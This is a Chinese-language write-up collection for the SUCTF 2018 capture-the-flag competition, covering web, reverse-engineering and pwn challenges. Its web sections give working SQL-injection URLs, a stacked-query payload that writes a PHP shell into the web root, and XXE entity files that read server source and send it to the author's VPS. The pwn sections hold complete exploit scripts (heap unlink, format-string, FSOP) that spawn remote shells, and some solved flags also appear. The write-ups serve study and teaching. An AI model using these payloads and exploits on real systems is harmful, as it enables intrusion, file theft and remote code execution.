* 先讲文件编码改成ISO-8859-15，再写入paylaod，不然在保存payload时有可能会改变不可见字符编码。
### MultiSql
* [http://127.0.0.1:8088/user/user.php?id=6^(if(ascii(mid(user(),1,1))>0,0,1](http://127.0.0.1:8088/user/user.php?id=6%5E\(if\(ascii\(mid\(user\(\),1,1\)\)>0,0,1))) 存在注入（过滤了union、select、&、|….）
* 注入得到root用户，尝试读文件
>
> [http://127.0.0.1:8088/user/user.php?id=6^(if(ascii(mid(load_file(0x2F7661722F7777772F68746D6C2F696E6465782E706870),1,2))>1,0,1](http://127.0.0.1:8088/user/user.php?id=6%5E\(if\(ascii\(mid\(load_file\(0x2F7661722F7777772F68746D6C2F696E6465782E706870\),1,2\)\)>1,0,1)))
* 在/var/www/html/user/user.php中发现是用mysqli_multi_query()函数进行sql语句查询的，可以多语句执行
* /var/www/html//bwvs_config/waf.php添加了魔术引号函数
* 为了绕过单双引号，使用mysql的预处理语句：
> set [@sql](https://github.com/sql "@sql") = concat(‘create table ‘,newT,’
> like ‘,old);
> prepare s1 from [@sql](https://github.com/sql "@sql");
> execute s1;
* 将`select '<?php phpinfo();?>' into outfile '/var/www/html/favicon/1.php';`语句编码:
set [@s](https://github.com/s "@s")=concat(CHAR(115),CHAR(101),CHAR(108),CHAR(101),CHAR(99),CHAR(116),CHAR(32),CHAR(39),CHAR(60),CHAR(63),CHAR(112),CHAR(104),CHAR(112),CHAR(32),CHAR(112),CHAR(104),CHAR(112),CHAR(105),CHAR(110),CHAR(102),CHAR(111),CHAR(40),CHAR(41),CHAR(59),CHAR(63),CHAR(62),CHAR(39),CHAR(32),CHAR(105),CHAR(110),CHAR(116),CHAR(111),CHAR(32),CHAR(111),CHAR(117),CHAR(116),CHAR(102),CHAR(105),CHAR(108),CHAR(101),CHAR(32),CHAR(39),CHAR(47),CHAR(118),CHAR(97),CHAR(114),CHAR(47),CHAR(119),CHAR(119),CHAR(119),CHAR(47),CHAR(104),CHAR(116),CHAR(109),CHAR(108),CHAR(47),CHAR(102),CHAR(97),CHAR(118),CHAR(105),CHAR(99),CHAR(111),CHAR(110),CHAR(47),CHAR(49),CHAR(46),CHAR(112),CHAR(104),CHAR(112),CHAR(39),CHAR(59));
PREPARE s2 FROM [@s](https://github.com/s "@s");
EXECUTE s2;
* 经shell写到<http://127.0.0.1:8088/favicon/1.php>
### Homework
* 注册账号，登录作业平台。看到一个calc计算器类。有两个按钮，一个用于调用calc类实现两位数的四则运算。另一个用于提交代码。
* XXE注入
点击calc按钮，计算2+2得到结果为4。
根据url结合calc源码可得到，module为调用的类，args为类的构造方法的参数。在PHP中存在内置类。其中包括SimpleXMLElement，文档中对于`SimpleXMLElement::__construct`定义如下:
可以看到通过设置第三个参数为true，可实现远程xml文件载入。第二个参数的常量值我们设置为2即可。第二个参数可定义的所有常量在[这里](http://php.net/manual/zh/libxml.constants.php)。第一个参数就是我们自己设置的payload的地址，用于引入外部实体。
在自己的vps上构造obj.xml文件：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://vps/XXE/evil.xml">
%int;
%all;
%send;
]>
evil.xml代码如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/wwwroot/default/index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/XXE/1.php?file=%file;'>">
1.php代码：
$content=$_GET['file'];
file_put_contents("content.txt",$content);
构造payload如下：
http://target:8888/show.php?module=SimpleXMLElement&args[]=http://vps/XXE/obj.xml&args[]=2&args[]=true
在自己的vps上查看content.txt即可看到base64编码后的index.php的源码。但是并不是完整的代码。需要将所有base64编码以空格或斜杠分割。逐一进行base64解码，拼接在一起才是完整的源码。我的解码脚本如下：
$source="base64 code";
$sour=explode(" ",$source);
$code="";
foreach($sour as $value){
if(strpos("/",$value)){
$v=explode("/",$value);
foreach($v as $v1){
echo base64_decode($v1)."rn";
}
continue;
}
echo base64_decode($value)."rn";
}
通过`SimpleXMLElement::__construct`进行文件读取的过程中会导致部分字符的丢失，但是不影响代码的整体阅读。所以在通过脚本解码之后，会有部分字符丢失。还有一点需要特别注意的是，通过这种方式读取的文件大小一般不能超过3kb。否则会读取失败，正是因为这个原因，我才把login拆分成login.php和login_p.php。
通过同样的方式，读取所有源码。下载下来后进行代码审计。
* 代码审计——sql注入
可以看到在submit.php中调用upload_file()函数。跟进function中的upload_file，可以看到将我们上传的文件的文件名及随机生成的md5值还有一个随机数sig存入数据库。文件名有过滤，在无0day的情况下无法绕过。文件名不可控，唯一的可控点就是通过post提交的sig。
通过审计可以看出来，在文件上传处存在一个二次注入。在文件上传时设置sig为十六进制数据，将sql语句注入数据库。在show.php页面触发。
但是show.php页面的查看源码功能只有本地用户才可访问。因此我们还需要寻找一个ssrf进行访问。由于代码中有sql的报错回显，所以我们可以继续使用`SimpleXMLElement::__construct`读取回显内容。
首先在submit.php上传任意文件。在上传前修改html中sig的value值即可。
这里的数据是`'||extractvalue(1,concat(0x7e,(select
@[@version](https://github.com/version
"@version")),0x7e))||'`的十六进制编码。接下来修改evil.xml文件如下：
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/show.php?action=view&filename=1.aspx">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/XXE/1.php?file=%file;'>">
利用`SimpleXMLElement::__construct`触发ssrf并读取内容。方法和文件读取相同，exp如下：
http://target/show.php?module=SimpleXMLElement&args[]=http://vps/XXE/obj.xml&args[]=2&args[]=true
在content.txt中就可以看到报错注入的回显信息的base64编码，用上面的解码脚本跑一下就行。
最后getflag的exp如下：
ascii：'||extractvalue(1,concat(0x7e,(select flag from flag),0x7e))||'
hex：0x277C7C6578747261637476616C756528312C636F6E63617428307837652C2873656C65637420666C61672066726F6D20666C6167292C3078376529297C7C27
### HateIT
首先发现有.git文件夹存在，于是拿githack还原了下，发现一个readme，读完之后，发现有历史版本存在，查看网站的.git文件发现有标签，结合readme，猜测源码在标签里，于是写脚本还原。
还原之后发现一些php文件和opcode,通过opcode还原代码，而其他文件无法打开，在robots.txt里面发现一个so文件，结合readme推断出php文件是使用so文件加密过的，通过逆向so文件还原出源代码，开始代码审计。
打开之后理了遍流程，发现是通过输入的用户名进行加密，获得sign和token，加密方法使用的是cfb，然后再往下就是将token解密，将解密的结果通过 |
进行分割，并取第二个参数进行判断admin，但是通过阅读代码，可以发现正常流程下，是无法通过判断的。
观察加密流程，func.php里面有两个加密函数，两个解密函数，其中一组是aes-128-cbc，一组是cfb，但是cbc的加密解密并未使用。
这里的加密我写的有问题，很多选手直接伪造第二个参数为3就绕过了检查，使得整个题目的难度降了一级，然而我本意是想考一波CFB的重放攻击的，非常的可惜，但是自己写出来的洞，跪着也要担着，所以接下来的思路，我还是以CFB为主。
于是看一下加密流程，先是将
`$user|$admin|$md5`进行加密，然后放入session，但是后面会将session输出，因此我们可以获得自己的token和sign。
因此我们需要伪造session来通过判断。对于token的加密使用的是cfb，
cfb是使用的分组加密，因此我们需要传入token值，使得其解密后的token[1]的值为2，能看到，程序中使用的是int函数进行转换，这里就涉及到了php的弱类型问题，原先的token组成为：
> $token = $user|$admin|$md5
先拓展token长度
> $token = $user|$admin|$md5$user|$admin|$md5
再将第一段`$admin|$md5`部分与2异或，这样最终的第二段的解密结果以2开头，后续的数据被破坏，尽管 |
还是有三个，但是cfb是密文分组参与异或，因此第二段的错误会引起第三段16位一组的密文分组错误。
CFB攻击的脚本如下:
plain = "meizimeizimeizi|0|xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0ex0ex0ex0ex0ex0ex0ex0ex0ex0ex0ex0ex0ex0e"
token = "32b85d5f397d51156d2bc0cca7851cb8ba1bda625324964543d56974057bede0b886428015f9c6544269d81ed6450f8fe7dacebfabcc1ea1270a225d4ac90163"
raw_token = token.decode("hex")
print len(raw_token)
print len(plain)
fake_token = list(raw_token)
temp = fake_token[-64:]
fake_token[16] = chr(ord(raw_token[16]) ^ ord(plain[16]) ^ ord("3"))
fake_token = fake_token + temp
fake_token = "".join(fake_token).encode("hex")
print fake_token
此时便绕过了第一个admin部分的检查。
再阅读源码，发现在class.php中，有个system函数，而system函数的参数是从get传参的，而其验证只允许和数字，因此可以使用八进制传输命令。
因此直接`admin.php?action=viewImage&size=7315416373`，即:`;ls;`，即可执行ls命令.然后`cat
flag`的位置即可。
## Reverse
### babyre
mips题目，简单的base64变形解码，替换了base64置换表
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
base64list = 'R9Ly6NoJvsIPnWhETYtHe4Sdl+MbGujaZpk102wKCr7/0Dg5zXAFqQfxBicV3m8U'
cipherlist = "eQ4y46+VufZzdFNFdx0zudsa+yY0+J2m"
length=len(cipherlist)
print length
group=length/4
s=''
string=''
for i in range(group-1):
j=i*4
s=cipherlist[j:j+4]
string+=chr(((base64list.index(s[0]))<<2)+((base64list.index(s[1]))>>4))
string+=chr(((base64list.index(s[1]) & 0x0f)<<4)+((base64list.index(s[2]))>>2))
string+=chr(((base64list.index(s[2]) & 0x03)<<6)+((base64list.index(s[3]))))
j=(group-1)*4
s=cipherlist[j:j+4]
string+=chr(((base64list.index(s[0]))<<2)+((base64list.index(s[1]))>>4))
if s[2]=='=':
print string
else:
string+=chr(((base64list.index(s[1]) & 0x0f)<<4)+((base64list.index(s[2]))>>2))
if s[3]=='=':
print string
else:
string+=chr(((base64list.index(s[2]) & 0x03)<<6)+((base64list.index(s[3]))))
print string
#SUCTF{wh0_1s_y0ur_d4ddy}
### simpleformat
这个题，是比赛开始以后发现逆向难题太难，所以加的一道简单题 = =，题目灵感来自于`0ctf 2018 Quals`的杂项`MathGame`。
打开程序，可以看到程序基本都在`dprintf`，往空设备里面输出了一大堆格式类似`%1$*2$s`的东西，最后还有一个`%20$n`。
打过Pwn的师傅们应该都知道，在`Format String Bug`利用的时候，向任意地址写入任意值用的是`%n`这个格式串，作用是将
**之前输出的字符个数**
写入对应的参数指向的地址。`printf`的`$`的用法则是指定这个格式串解析的参数偏移量。例如，`%2$s`即为取出后面的第2个参数，以`%s`的形式输出。显然，`%20$n`就是将之前输出的字符个数写到第20个参数的地址里。这里可以发现，每一次`dprintf`最后第20个参数都是一个int数组中的连续元素，且就是`memcmp`的源数组。
`printf`有一个神奇的格式参数是`*`，可以达到 **指定宽度** 的效果。例如:
printf("%.*s", 5, "==========") => "====="
printf("%0*d", 20, 0) => "00000000000000000000"
配合上`$`参数，就可以把指定参数设定为宽度，题目中`%1$*2$s`就是将第一个参数以第二个参数的宽度输出。那么，输出完`%1$*2$s`的串之后，当前输出长度即为第二个参数。下面又会再遇到一个`%1$*2$s`，那当前输出长度即为
**2倍的第二个参数** 。接下来每遇到一个这样的格式串，都会 **累加** 一次当前输出长度。
加上最后的`%20$n`这个格式串， **将累加结果写入最后一个参数** ，程序的功能就很明显了。这实际上是一个 **线性方程组**
的问题，利用`printf`来实现元素的求和。
Z3，启动！
// 然而出题人并没有写脚本，不过参数提取出来，解一下应该很快的吧 = =
SUCTF{s1mpl3_prin7f_l1near_f0rmulas}
// 话说一开始想实现一点复杂的运算的，最后时间关系只能选择线性方程组。以后有机会我会探究一下printf如何优秀地实现除了加减法以外的运算。
### RoughLike与期末大作业
运行游戏，提示说有TWO SPELL 帮助你逃出迷宫。
找到Assembly-CSharp.dll文件，运行游戏，找到一个和flag有关的函数:
// Token: 0x06000193 RID: 403 RVA: 0x000110AC File Offset: 0x0000F2AC
private void LayoutObjectAtRandom_Flag(List<ItemsType> S3cretArray, int minimum, int maximum)
......
case 5:
{
vector3 position = this.randomposition();
gameobject tile = s3cretarray[0].tile;
unityengine.object.instantiate<gameobject>(tile, position, quaternion.identity);
num = 0;
continue;
}
看到这个s3cretarray之后，确定方向，要么让这个逻辑执行，要么直接找到这个s3cretarray[0].tile对象是啥。这里直接修改逻辑，将两个几乎不可能完成的逻辑修改:
case 3:
if (GameManager.instance.playerFoodPoints != Decrypt.oro_1(59648))
{
num = 5;
continue;
}
return;
以及下面这一段。
case 6:
if (GameManager.instance.defeatedMonster != Decrypt.oro_0(12))
{
num = 2;
continue;
}
return;
修改逻辑之后，开始游戏就能够捡到一个道具，能够看到flag的第二部分:
另一部分在哪儿呢？如果看了CG动画的话，应该会知道和`SPELL`有关系。搜索 SPELL 找到一个奇怪的内容:
this.SPText = GameObject.Find("SPELLText").GetComponent<Text>();
然后发现这个地方可能有问题，顺着找到发现还有一处奇怪的逻辑:
case 2:
GameManager.instance.SPText.enabled = true;
num = 36;
continue;
case 3:
if (GameManager.instance.defeatedBoss > Decrypt.oro_1(114))
{
num = 34;
continue;
}
goto IL_4FC;
...
case 30:
if (GameManager.instance.defeatedMonster > Decrypt.oro_0(514))
{
num = 2;
continue;
}
这一段逻辑显然也是难以触发的恶臭代码。于是我们这里可以再次修改逻辑（或者直接将SPText设置位可见），可以看到第一部分的flag：
综合两个信息，得到flag为:
WeLC0mE_70_5uc7F
### Python大法好?!
考点：
python2.7的opcode，嵌套c，RC4加解密
解题过程：
拿到opcode，建议自己去写一段代码，然后获取opcode，进行对比。可能lambda那块比较难分析出来。
经过分析，可以得到a.py。可以看出这是python嵌套了C，主要的加解密过程需要分析库a中的函数
`IDA`分析a文件，发现导出了a函数也就是encrypt函数，但是没有解密函数，分析加密部分，是简单的RC4的实现，百度到RC4的实现(百度搜索第一条就是2333)，是一样的，所以自己对照着加密逻辑，写个类似的解密逻辑。导出aa函数。
void decrypt(char *k){
FILE *fp1, *fp2;
unsigned char key[256] = {0x00};
unsigned char sbox[256] = {0x00};
fp1 = fopen("code.txt","r");
fp2 = fopen("decode.txt","w");
DataEncrypt(k, key, sbox, fp1, fp2);
}
extern "C"
{
void a(char *k){
encrypt(k);
}
void aa(char *k){
decrypt(k);
}
}
最后爆破出key在python中调用c的解密函数即可。
#-*- coding:utf-8 -*- from ctypes import *
from libnum import n2s,s2n
import binascii as b
#key="20182018"
def aaaa(key):
a=lambda a:b.hexlify(a)
return "".join(a(i) for i in key)
def aa(key): #jia mi
a=cdll.LoadLibrary("./a").a
a(key)
def aaaaa(a):
return s2n(a)
def aaa(key): #jie mi
a=cdll.LoadLibrary("./a").aa
a(key)
def brup_key():
i=20182000
while i<100000000:
aaa(aaaa(str(i)))
data=open("flag.txt","r").read()
if "SUCTF" in data:
print i
break
i=i+1
def aaaaaa():
# aa(aaaa(key))#jia mi
# aaa(aaaa(key)) #jie mi
brup_key()
if __name__=="__main__":
aaaaaa()
key为20182018
### Enigma
Enigma，是二战时德国所使用的转轮密码机，因为极其复杂的构造，而被翻译为“隐匿之王”。这道题也是实现了一个密码机，里面有转轮机，线性反馈移位寄存器，换位器等部件，为了增加难度，加法是由一位全加器实现。（然而善于观察的师傅们通过调试应该可以直接看出来）这道题的逆向……思路就是硬怼，从后向前把每一步逆着算出来，最后就可以拿到最初的明文。
附上题目源码：
#include <cstdio>
#include <cstring>
#include <string>
#include <bitset>
#include <iostream>
#include <cmath>
using namespace std;
string buf1;
unsigned char buf[40] = {0};
unsigned char buf2[40] = {0xa8, 0x1c, 0xaf, 0xd9, 0x0, 0x6c, 0xac, 0x2, 0x9b, 0x5, 0xe3, 0x68, 0x2f, 0xc7, 0x78, 0x3a, 0x2, 0xbc, 0xbf, 0xb9, 0x4d, 0x1c, 0x7d, 0x6e, 0x31, 0x1b, 0x9b, 0x84, 0xd4, 0x84, 0x0, 0x76, 0x5a, 0x4d, 0x6, 0x75};
bitset<32> buf3(0x5F3759DF);
// SUCTF{sm4ll_b1ts_c4n_d0_3v3rythin9!}
void bit_add(unsigned char a, unsigned char b, unsigned char c, unsigned char& f, unsigned char& s)
{
s = a ^ b ^ c;
f = (a & c) | (b & c) | (a & b);
return;
}
void xor_func(unsigned char a, unsigned char b, unsigned char& s)
{
s = a ^ b;
return;
}
void gg_func()
{
cout << "GG!" << endl;
exit(-1);
}
unsigned int do_lfsr()
{
unsigned char new_bit = buf3[31] ^ buf3[7] ^ buf3[5] ^ buf3[3] ^ buf3[2] ^ buf3[0];
buf3 = buf3.to_ulong() >> 1;
buf3[31] = new_bit;
return buf3.to_ulong();
}
void bit_shuffle()
{
bitset<8> t;
for (int i = 0; i < 36; i++)
{
t = buf[i];
for (int j = 0; j < 3; j++)
{
t[j] = t[j] ^ t[7-j];
t[7-j] = t[7-j] ^ t[j];
t[j] = t[j] ^ t[7-j];
}
buf[i] = t.to_ulong();
}
return;
}
void do_xor_lfsr()
{
unsigned int* p = (unsigned int *)buf;
for (int i = 0; i < 9; i++)
{
xor_func(do_lfsr(), p[i], p[i]);
}
return;
}
void do_wheel()
{
unsigned char wheel[3][4] = {{49, 98, 147, 196}, {33, 66, 99, 132}, {61, 122, 183, 244}};
int i = 0, j = 0, k = 0;
for (int x = 0; x < buf1.length(); x++)
{
unsigned char res = 0;
unsigned char sf = 0;
unsigned char cf = 0;
bitset<8> r(buf1[x]);
bitset<8> bs_num(wheel[0][i]);
for (int b = 0; b < 8; b++)
{
bit_add(r[b], bs_num[b], cf, cf, sf);
r[b] = sf;
}
bs_num = wheel[1][j];
for (int b = 0; b < 8; b++)
{
bit_add(r[b], bs_num[b], cf, cf, sf);
r[b] = sf;
}
bs_num = wheel[2][k];
for (int b = 0; b < 8; b++)
{
bit_add(r[b], bs_num[b], cf, cf, sf);
r[b] = sf;
}
res = r.to_ulong();
buf[x] = res;
i++;
if (i == 4)
{
i = 0;
j++;
}
if (j == 4)
{
j = 0;
k++;
}
if (k == 4)
{
k = 0;
}
}
return;
}
int main()
{
cout << " _____ __ ____________________" << endl;
cout << " / ___// / / / ____/_ __/ ____/" << endl;
cout << " \__ \/ / / / / / / / /_ " << endl;
cout << " ___/ / /_/ / /___ / / / __/ " << endl;
cout << "/____/\____/\____/ /_/ /_/ " << endl;
cout << "Input flag: " << endl;
cin >> buf1;
if (buf1.length() != 36)
{
gg_func();
}
do_wheel();
bit_shuffle();
do_xor_lfsr();
if (memcmp(buf, buf2, 36))
{
gg_func();
}
else cout << "200 OK!" << endl;
return 0;
}
// 不要吐槽辣鸡的实现方式
// 出题人的怨念：这个题作为难题来说还是出简单了，转轮机和反馈寄存器原本是为了产生One-Time-Pad而设计的，但在逆向中由于可以多次调试，就变成了简单的多表移位和流式密码，调出偏移就好了。如果有机会应该加入更多坑爹的东西，比如根据上一次结果动态变化的转轮（那还能逆么，pia
### RubberDucky[天枢][选手:Invicsfate]
badusb的题目，在HITB2018上的hex就是一道badusb的题目，这道题目同理，只是逻辑改变了，先hex2bin，arduino
micro板子使用的是atmega32u4，编译器是arduino avr，在逆向时我选择了atmega32_L，程序的大致功能就是运行rundll32
url.dll,0penURL xxxxxxxxxx，从一个url上获取数据，我们只要获得这串url即可，脚本如下：
#!/usr/bin/env python2
#-*- coding:utf-8 -*- import string
guess = [0x25,0x16,0x09,0x07,0x63,0x62,0x68,0x1B,0xf,0x4E,0x12,0x7,0x24,0x1b,0xb,0x61,0x1A,0x17,0x46,0x11,0x6,0x1,0x18,0x1f,0x39,0xd,0x25,0x1b,0x53,0x16,0x9,0x3,0x5F,0x24,0x36,0x30,0x44,0xd,0x14,0x41,0x60,0x08,0x20,0x28,0x36,0x39,0x18,0x37,0x2e,0x49,0x1e,0x01,0x06]
cipher = 'MasterMeihasAlargeSecretGardenfortHeTeamSU,canUfindit'
ans = ''
for i in range(len(cipher)):
tmp = chr((((guess[i]-i%10)&0xff)^ord(cipher[i])))
ans += tmp
print ans
得到[http://qn-suctf.summershrimp.com/UzNjcmU3R2FSZGVO.zip。](http://qn-suctf.summershrimp.com/UzNjcmU3R2FSZGVO.zip%E3%80%82)
解压得到的程序是一个pyinstaller打包的程序，使用pyinstxtractor解包，得到其的pyc文件，pyc文件缺失文件头标志和时间戳，补上即可，时间戳可以随意，我是用自己编译pyc文件的时间戳，使用uncompyle2即可得到py文件如下：
# 2018.05.27 18:53:29 Öйú±ê׼ʱ¼ä
#Embedded file name: RubberDucky.py
import os
import time
print '##### # # ##### '
print '# # # # #### ###### #### ##### ###### ##### # # ## ##### ##### ###### # # '
print '# # # # # # # # # # # # # # # # # # # ## # '
print ' ##### # # #### ##### # # # ##### # # #### # # # # # # ##### # # # '
print ' # # # # # # ##### # # # # ###### ##### # # # # # # '
print '# # # # # # # # # # # # # # # # # # # # # # # ## '
print ' ##### ##### #### ###### #### # # ###### # ##### # # # # ##### ###### # # '
introduction = 'Je suis la garde du jardin'
question = 'Donnez-moi FLAG avant de pouvoir y aller'
time.sleep(2)
os.system('cls')
print 'Garde:' + introduction
time.sleep(2)
print 'Garde:' + question
time.sleep(2)
flag = ''
b = ''
cipher = 'YVGQF|1mooH.hXk.SebfQU`^WL)J[\(`'
flag = raw_input('You:')
if len(flag) != 32:
print 'It has 32 words'
os.system('exit')
for i in range(len(flag)):
b += chr(ord(flag[i]) + ord(flag[i]) % 4 * 2 - i)
if b == cipher:
print 'Garde:' + 'Correct flag! Welcome my friend, Meizijiu Shifu appreciates your visiting here!'
else:
print 'Garde:' + 'Noooo!Stranger!!Get out!'
+++ okay decompyling test.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
# 2018.05.27 18:53:29
写解密脚本:
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
import string
table = string.printable
cipher = 'YVGQF|1mooH.hXk.SebfQU`^WL)J[\(`'
ans = ''
for group in range(len(cipher)):
for ch in table:
tmp = ord(ch) + (ord(ch) % 4) * 2 - group
if tmp < 127:
if chr(tmp) == cipher[group]:
ans += ch
break
print ans
#SUCTF{5tuxN3t_s7arts_from_A_usB}
## Pwn
### Heap
pwn-heap:
难度：中等
考点：off by one技巧的应用、unlink知识点
漏洞点：在creat函数中
puts("input your data");
read(0, nbytes_4, (unsigned int)nbytes);
strcpy((char *)s, (const char *)nbytes_4);
在输入数据时，会先将数据输进临时的堆块中，并且没有在数据末尾加入00， 而后将数据strcpy进新建的堆中。因此，如果数据填满了临时的堆块空间，strcp
y就会把临时块下一块的size字段加入数据拷贝到新建的堆中。这样新建堆的下一
个堆就会被改变size字段，当是释放被改变size的堆时，依据size对进行下一个
堆是否占用检查就会出错，合理构造，可以进行unlink攻击，而后进行got表修改 ，完成rip劫持，得到shell
利用脚本：
from zio import *
import struct
import time
def creat(io,length,payload):
io.read_until('3:show')
io.writeline('1')
io.read_until('input len')
io.writeline(str(length))
io.read_until('input your data')
io.write(payload)
def delet(io,index):
io.read_until('3:show')
io.writeline('2')
io.read_until('input id')
io.writeline(index)
def edit(io,index,payload):
io.read_until('3:show')
io.writeline('4')
io.read_until('input id')
io.writeline(index)
io.read_until('input your data')
io.write(payload)
target=('./test')
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
c2=raw_input("go?")
creat(io,0xa0,'/bin/sh')
creat(io,0xa0,'1'*0x10)
creat(io,0xa0,'2'*0x10)
creat(io,0xa0,'3'*0x10)
creat(io,0xb0,'4'*0x10)
creat(io,0xa0,'5'*0x10)
creat(io,0xa0,'6'*0x10)
creat(io,0xa0,'a'*0xa0)
creat(io,0xa0,'libc:%13$lx')
creat(io,0xa0,'b'*0x10)
creat(io,0xa0,'c'*0x10)
delet(io,'5')
delet(io,'4')
creat(io,0xb8,'8'*0xb8)
edit(io,'7',l64(0x0)+l64(0x91)+l64(0x6020e0)+l64(0x6020e8)+'1'*0x70+l64(0x90)+l64(0x20))
delet(io,'6')
edit(io,'7',l64(0x602030))
io.writeline('t')
edit(io,'4','x30x07x40x00x00x00')
edit(io,'8','1'*0x10)
io.read_until('libc:')
test=io.read(12)
system=int(test,16)-0x20830+0x45390
print hex(system)
edit(io,'7','x18x20x60')
edit(io,'4',l64(system))
io.writeline('t')
delet(io,'0')
io.interact()
### lock
from pwn import *
#p = process('./lock2')
p=remote('pwn.suctf.asuri.org',20001)
p.recv()
p.sendline('123456')
p.recvuntil('K ')
k=p.recvuntil('--')[:-2]
k=int(k,16)
print hex(k)
p.recv()
p.sendline('aa%7$hhn'+p64(k))
p.sendline('aa%7$hhn'+p64(k+4))
p.sendline('aa%7$hhn'+p64(k+20))
p.recvuntil('The Pandora Box:')
addr=p.recvuntil('n')[:-1]
print addr
addr=int(addr,16)
print "pandora:0x%x"%addr
p.sendline('a'*24)
p.recvuntil('a'*24+'n')
can = p.recv(7).rjust(8,'x00')
print hex(u64(can))
p.sendline('a'*34+can+'a'*8+p64(addr))
p.interactive()
### Note
from pwn import *
#libc=ELF('./lib/libc-2.24.so')
#p=process('./note',env={'LD_PRELOAD':'./lib/libc-2.24.so'})
libc=ELF('./libc6_2.24-12ubuntu1_amd64.so')
#p=process('./note',env={'LD_PRELOAD':'./libc6_2.24-12ubuntu1_amd64.so'})
p=remote('pwn.suctf.asuri.org',20003)
def add(l,content):
p.recvuntil('Choice>>')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(l))
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Choice>>')
p.sendline('3')
p.recvuntil('(yes:1)')
p.sendline('1')
p.recvuntil('Choice>>')
p.sendline('2')
p.recvuntil('Index:')
p.sendline('0')
p.recvuntil('Content:')
addr=p.recvuntil('n')[:-1]
addr=(u64(addr.ljust(8,'x00')))
print hex(addr)
libc_base = addr -3930968#3939160#- 3767128 #3939160
print hex(libc_base)
real_io_list=libc_base+libc.symbols['_IO_list_all']
print hex(real_io_list)
real_io_stdin_buf_base=libc_base+libc.symbols['_IO_2_1_stdin_']+0x40
real_system=libc_base+libc.symbols['system']
real_binsh=libc_base+next(libc.search('/bin/sh'),)#0x18AC40
add(0x90-8,'a')
raw_input('step1,press any key to continue')
add(0x90-8,'a'*0x80+p64(0)+p64(0xee1))
raw_input('step2,press any key to continue')
add(0x1000-8,'b'*0x80+p64(0)+p64(0x61)+p64(0xddaa)+p64(real_io_list-0x10))
raw_input('step3,press any key to continue')
#do_one(io,0x90-8,'a'*0x10)
fake_chunk='x00'*8+p64(0x61)
fake_chunk+=p64(0xddaa)+p64(real_io_list-0x10)
fake_chunk+=p64(0xffffffffffffff)+p64(0x2)+p64(0)*2+p64( (real_binsh-0x64)/2 )
fake_chunk=fake_chunk.ljust(0xa0,'x00')
fake_chunk+=p64(real_system+0x420)
fake_chunk=fake_chunk.ljust(0xc0,'x00')
fake_chunk+=p64(1)
vtable_addr=libc_base+0x3bc4c0#0x3BE4C0
payload =fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
payload += p64(real_system)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3 # vtable
payload += p64(real_system)
add(0x90-8,'c'*0x80+payload )
p.sendline('1')
p.sendline('16')
p.interactive()
### Heapprint
I made two challenges for SUCTF this year. I got the ideas when I was
exploring linux pwn technique and I want to share them with others. Though the
logic of the challenges are extremely easy, the exploitation may be a little
hard. Since only two teams solved one of the challenge and nobody solved the
other, I decide to write a wp for them. If you like the writeup, follow me on
[github](https://github.com/Changochen) ^_^
This challenge is about format-string vuln. No leak. Trigger fmt once and get
the shell? How is it even possible?
#### Program info
[*] '/home/ne0/Desktop/heapprint/heapprint'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
The logic is still simple:
long long d;
d=(long long)&d;
printf("%dn",(d>>8)&0xFF);
d=0;
buffer=(char*)malloc(0x100);
read(0,buffer,0x100);
snprintf(bss_buf,0x100,buffer);
puts("Byebye");
#### Bug
Well, fmt obviously.
#### Exploit
We can only trigger fmt once. As the fmt needs some pointer at the stack,
let’s take a look in gdb then.
Set a breakpoint at snprintf
[-------------------------------------code-------------------------------------]
0x55d16cc14a85: mov esi,0x100
0x55d16cc14a8a: lea rdi,[rip+0x2005cf] # 0x55d16ce15060
0x55d16cc14a91: mov eax,0x0
=> 0x55d16cc14a96: call 0x55d16cc14838
[------------------------------------stack-------------------------------------]
0000| 0x7ffc6b683860 --> 0x0
0008| 0x7ffc6b683868 --> 0xe99930963f8b8e00
0016| 0x7ffc6b683870 --> 0x55d16cc14ad0 (push r15)
0024| 0x7ffc6b683878 --> 0x7f8cf2942830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7ffc6b683880 --> 0x1
0040| 0x7ffc6b683888 --> 0x7ffc6b683958 --> 0x7ffc6b684fc0 ("./heapprint")
0048| 0x7ffc6b683890 --> 0x1f2f11ca0
.......
0144| 0x7ffc6b6838f0 --> 0x0
0152| 0x7ffc6b6838f8 --> 0x7ffc6b683968 --> 0x7ffc6b684fcc ("MYVIMRC=/home/ne0/.vimrc")
0160| 0x7ffc6b683900 --> 0x7f8cf2f13168 --> 0x55d16cc14000 --> 0x10102464c457f
0168| 0x7ffc6b683908 --> 0x7f8cf2cfc7cb (<_dl_init+139>: jmp 0x7f8cf2cfc7a0 <_dl_init+96>)
.......
0232| 0x7ffc6b683948 --> 0x1c
0240| 0x7ffc6b683950 --> 0x1
0248| 0x7ffc6b683958 --> 0x7ffc6b684fc0 ("./heapprint")
Well, we find a pointer to pointer at `0x40`. So it’s easy to come up with the
idea that try to modify the pointer at `0248` to be `0x7ffc6b683878`, which
pointers to the return address of main. Then modify it to be one gadget to get
the shell.
Easier said than done. Let’s try solving it. To better demonstrate the poc, I
will turn off aslr in gdb(Otherwise we will need to bruteforce 4 bit to
correctly locate the address of return address)
#payload="%55928d%9$hn", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96: call 0x555555554838
0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
0x555555554aa2: call 0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0
arg[1]: 0x100
arg[2]: 0x555555756010 ("%55928d%9$hnn")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
